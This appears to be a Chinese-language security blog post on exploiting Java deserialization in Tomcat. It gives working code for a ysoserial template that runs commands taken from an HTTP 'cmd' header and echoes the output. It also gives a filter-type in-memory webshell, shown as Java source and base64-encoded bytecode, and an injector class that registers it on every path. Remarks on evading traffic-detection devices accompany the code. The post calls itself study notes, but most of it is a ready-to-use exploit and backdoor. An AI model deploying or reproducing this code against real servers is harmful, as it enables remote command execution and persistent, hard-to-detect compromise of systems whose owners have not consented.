Java反序列化回顯與內存馬注入
寫在前面
之前已經對於Tomcat回顯鏈和簡單的內存馬注入進行了部分的學習,打算先對一個很常見的場景,比如中間件是Tomcat,Web站點存在反序列化的場景去打一個內存馬或者說反序列化回顯的一個利用。先做一個簡單實現,后面再對不同場景下做一個深度的利用。
反序列化回顯
主要是通過回顯鏈將命令執行結果通過Response回顯出來。依舊是拿Tomcat回顯鏈進行學習。
這里主要是將其改造添加進yso中,參考Litch1師傅的項目
先對Gadgets.java文件做一些改動,主要是重載createTemplatesImpl
的方法,template為我們需要通過javassist去執行的任意代碼塊如回顯鏈或內存馬,其余部分參照Litch1師傅的項目改動即可
public static Object createTemplatesImplTomcatEcho(final String command) throws Exception {
String param = command == null ? "cmd" : command;
String template = "javassist code";
return createTemplatesImpl(command, template);
}
先放上根據Tomcat回顯鏈構造的createTemplatesImpl
方法
// Template For TomcatEcho
public static Object createTemplatesImplTomcatEcho(final String command) throws Exception {
String template = "try {\n" +
" org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();\n" +
" org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) webappClassLoaderBase.getResources().getContext();\n" +
" java.lang.reflect.Field context = Class.forName(\"org.apache.catalina.core.StandardContext\").getDeclaredField(\"context\");\n" +
" context.setAccessible(true);\n" +
" org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);\n" +
" java.lang.reflect.Field service = Class.forName(\"org.apache.catalina.core.ApplicationContext\").getDeclaredField(\"service\");\n" +
" service.setAccessible(true);\n" +
" org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) service.get(ApplicationContext);\n" +
" org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) standardService.findConnectors();\n" +
"\n" +
" for (int i=0; i < connectors.length; i++) {\n" +
" if (4 == connectors[i].getScheme().length()) {\n" +
" java.lang.reflect.Field protocolHandler = connectors[i].getProtocolHandler();\n" +
" if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol){\n" +
" Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();\n" +
" for (int j = 0; j < classes.length; j++) {\n" +
" if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {\n" +
" java.lang.reflect.Field globalField = classes[j].getDeclaredField(\"global\");\n" +
" java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField(\"processors\");\n" +
" globalField.setAccessible(true);\n" +
" processorsField.setAccessible(true);\n" +
" java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod(\"getHandler\",null);\n" +
" getHandlerMethod.setAccessible(true);\n" +
" org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));\n" +
" java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);\n" +
" for (int k = 0; k < list.size(); k++){\n" +
" java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField(\"req\");" +
" requestField.setAccessible(true);\n" +
" org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));\n" +
" org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);\n" +
" String cmd = request.getHeader(\"cmd\");\n" +
" String[] cmds = !System.getProperty(\"os.name\").toLowerCase().contains(\"win\") ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n" +
" java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
" java.io.BufferedInputStream bufferedInputStream = new java.io.BufferedInputStream(inputStream);\n" +
" org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) request.getResponse();\n" +
" int len;\n" +
" while ((len = bufferedInputStream.read()) != -1){\n" +
" response.getWriter().write(len);\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" } \n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
"}";
return createTemplatesImpl(command, template);
}
踩坑記錄:
-
template中內容不能import,所以用到的各種類需要寫全限定類名。
-
如果可以通過上下文或其他存儲環境信息的對象的自帶方法去獲取所需的屬性值就不要用反射,這樣payload體積也會變小。如:
通過
standardService.findConnectors();
獲取connectors
-
template中不要出現范型,比如
Class<?>[] ; j < classes.length; j++)
這種,而不是這種:for (Class<?> declaredClass : declaredClasses)
,不然會拋異常,我也不懂為什么,希望懂得師傅可以不吝賜教。 -
本地進行測試時,如果是tomcat+war包形式,需要注意運行項目后的
out
目錄下的lib中是否有CC的jar包
之后可以新建一個類,去調用上面構造好的createTemplate方法即可
測試:
ToDo:
上面的代碼中,是通過讀取header中的cmd屬性值包含的命令去執行。當然也可以動態拼接,或者Litch1師傅中添加了對header中是否存在tomcat: tomcat
的判斷才進入后續的命令執行和回顯。這里騷姿勢就比較多了,師傅們可自行研究。
而讀取header的這種寫法肯定會被流量設備檢測到,個人感覺還是動態拼接命令會更好一些。當然了,這也是出於在一個必須進行反序列化回顯時的場景下,一般還是打內存馬,如哥斯拉或者冰蠍。
內存馬注入
以filter型的cmd內存馬為例,冰蠍同理,改一改邏輯即可。
首先准備惡意的Filter,當然可以添加一些自己的邏輯,如header頭的判斷等等
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
public class FilterMemShell implements Filter {
static String cmd ;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
try {
cmd = request.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read()) != -1){
response.getWriter().write(len);
}
}
catch (Exception var15) {
}
}
@Override
public void destroy() {
}
}
把其字節碼轉byte數組然后base64編碼
yv66vgAAADQAbgoAEQBCBwBDBwBECAATCwACAEUJABAARgoARwBICgBHAEkKAEoASwcATAoACgBNCgAKAE4LAAMATwoAUABRBwBSBwBTBwBUBwBVAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMRmlsdGVyTWVtU2hlbGw7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAVgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQATYnVmZmVyZWRJbnB1dFN0cmVhbQEAHUxqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW07AQADbGVuAQABSQEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAFMHAFcHAFgHAFkHAEMHAEQHAFoHAEwHAFIHAFsBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlck1lbVNoZWxsLmphdmEMABUAFgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAXABdDAATABQHAF4MAF8AYAwAYQBiBwBjDABkAGUBABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0MABUAZgwAZwBoDABpAGoHAGsMAGwAbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA5GaWx0ZXJNZW1TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAMoKUkBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABChJKVYAIQAQABEAAQASAAEACAATABQAAAAEAAEAFQAWAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAACQAZAAAADAABAAAABQAaABsAAAABABwAHQACABcAAAA1AAAAAgAAAAGxAAAAAgAYAAAABgABAAAADgAZAAAAFgACAAAAAQAaABsAAAAAAAEAHgAfAAEAIAAAAAQAAQAhAAEAIgAjAAIAFwAAAScAAwAJAAAAUivAAAI6BCzAAAM6BRkEEgS5AAUCALMABrgAB7IABrYACLYACToGuwAKWRkGtwALOgcZB7YADFk2CAKfABIZBbkADQEAFQi2AA6n/+inAAU6BrEAAQAMAEwATwAPAAMAGAAAACoACgAAABIABgATAAwAFgAYABcAJgAYADEAGgA9ABsATAAhAE8AIABRACIAGQAAAFwACQAmACYAJAAlAAYAMQAbACYAJwAHADkAEwAoACkACAAAAFIAGgAbAAAAAABSACoAKwABAAAAUgAsAC0AAgAAAFIALgAvAAMABgBMADAAMQAEAAwARgAyADMABQA0AAAAKQAE/wAxAAgHADUHADYHADcHADgHADkHADoHADsHADwAAPkAGkIHAD0BACAAAAAGAAIAPgAhAAEAPwAWAAEAFwAAACsAAAABAAAAAbEAAAACABgAAAAGAAEAAAAoABkAAAAMAAEAAAABABoAGwAAAAEAQAAAAAIAQQ==
至此就准備好惡意的Filter類了,剩下的就是之前所講到的,通過獲取StandardContext來動態注冊Filter,Filter的實例對象可以通過defineClass加載字節碼之后newInstance獲取。
動態注冊代碼如下,因為要繼承到yso,所以需要繼承AbstractTranslet類
public class InjectTomcatFilterShell extends AbstractTranslet {
final static String FilterMemShell = "yv66vgAAADQAbgoAEQBCBwBDBwBECAATCwACAEUJABAARgoARwBICgBHAEkKAEoASwcATAoACgBNCgAKAE4LAAMATwoAUABRBwBSBwBTBwBUBwBVAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMRmlsdGVyTWVtU2hlbGw7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAVgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQATYnVmZmVyZWRJbnB1dFN0cmVhbQEAHUxqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW07AQADbGVuAQABSQEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAFMHAFcHAFgHAFkHAEMHAEQHAFoHAEwHAFIHAFsBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlck1lbVNoZWxsLmphdmEMABUAFgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAXABdDAATABQHAF4MAF8AYAwAYQBiBwBjDABkAGUBABtqYXZhL2lvL0J1ZmZlcmVkSW5wdXRTdHJlYW0MABUAZgwAZwBoDABpAGoHAGsMAGwAbQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA5GaWx0ZXJNZW1TaGVsbAEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAMoKUkBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABChJKVYAIQAQABEAAQASAAEACAATABQAAAAEAAEAFQAWAAEAFwAAAC8AAQABAAAABSq3AAGxAAAAAgAYAAAABgABAAAACQAZAAAADAABAAAABQAaABsAAAABABwAHQACABcAAAA1AAAAAgAAAAGxAAAAAgAYAAAABgABAAAADgAZAAAAFgACAAAAAQAaABsAAAAAAAEAHgAfAAEAIAAAAAQAAQAhAAEAIgAjAAIAFwAAAScAAwAJAAAAUivAAAI6BCzAAAM6BRkEEgS5AAUCALMABrgAB7IABrYACLYACToGuwAKWRkGtwALOgcZB7YADFk2CAKfABIZBbkADQEAFQi2AA6n/+inAAU6BrEAAQAMAEwATwAPAAMAGAAAACoACgAAABIABgATAAwAFgAYABcAJgAYADEAGgA9ABsATAAhAE8AIABRACIAGQAAAFwACQAmACYAJAAlAAYAMQAbACYAJwAHADkAEwAoACkACAAAAFIAGgAbAAAAAABSACoAKwABAAAAUgAsAC0AAgAAAFIALgAvAAMABgBMADAAMQAEAAwARgAyADMABQA0AAAAKQAE/wAxAAgHADUHADYHADcHADgHADkHADoHADsHADwAAPkAGkIHAD0BACAAAAAGAAIAPgAhAAEAPwAWAAEAFwAAACsAAAABAAAAAbEAAAACABgAAAAGAAEAAAAoABkAAAAMAAEAAAABABoAGwAAAAEAQAAAAAIAQQ==";
static {
try {
String filterName = "Zh1z3ven";
String Base64ForShellByteArray = FilterMemShell;
String filterPath = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterconfigs = (Map) filterConfigsField.get(standardContext);
if (filterconfigs.get(filterName) == null){
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer(Base64ForShellByteArray);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class memShell = (Class) defineClassMethod.invoke(servletContext.getClass().getClassLoader(), bytes, 0, bytes.length);
Filter MemShell = (Filter) memShell.newInstance();
Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(MemShell);
o.setFilterName(filterName);
o.setFilterClass(memShell.getClass().getName());
standardContext.addFilterDef(o);
//反射獲取FilterMap並且設置攔截路徑,並調用addFilterMapBefore將FilterMap添加進去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
filterMap.addURLPattern(filterPath);
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//反射獲取ApplicationFilterConfig,構造方法將 FilterDef傳入后獲取filterConfig后,將設置好的filterConfig添加進去
Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterconfigs.put(filterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
后續部分參考Litch1師傅的yso項目,對createTemplate方法進行重載,這里就不貼了
封裝完后可以准備一個存在反序列化的servlet直接yso打即可
Reference
https://summersec.github.io/2020/06/01/Java反序列化回顯解決方案/#toc-heading-6